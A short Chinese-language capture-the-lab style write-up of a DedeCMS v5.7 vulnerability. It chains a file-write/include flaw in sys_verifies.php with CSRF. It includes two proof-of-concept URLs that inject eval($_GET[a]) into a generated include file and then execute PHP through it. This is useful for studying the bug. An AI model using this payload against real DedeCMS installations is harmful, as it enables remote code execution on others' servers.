DedeCMS v5.7 通過檔案包含和CSRF的配合利用

該靶場使用了 DedeCMS v5.7 ，所以將其原始碼下載，進行程式碼審計。

檔案包含漏洞出現在 /dede/sys_verifies.php 檔案中，來看程式碼：

image.png

如上圖，當請求引數action的值為"getfiles"時，程式會在 /data 目錄下生成檔案 modifytmp.inc 並寫入內容，而寫入的內容是我們可以控制的，可通過新增GET請求引數refiles來控制。
要想利用這個 modifytmp.inc 檔案，還得在程式碼中找一處包含該檔案的地方。而同一原始碼檔案的下面就有，如下圖：

image.png

於是，便可以構造poc 如下：

http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_GET[a]);die();//
http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

然後管理員先訪問第一個連結，然後訪問第二個連結，結果如下：

image.png

PS：因為 sys_verifies.php 的程式碼中，會有許可權檢查，如果不是管理員的話是不能執行下面的程式碼的，會直接返回登入頁面或者提示沒有許可權。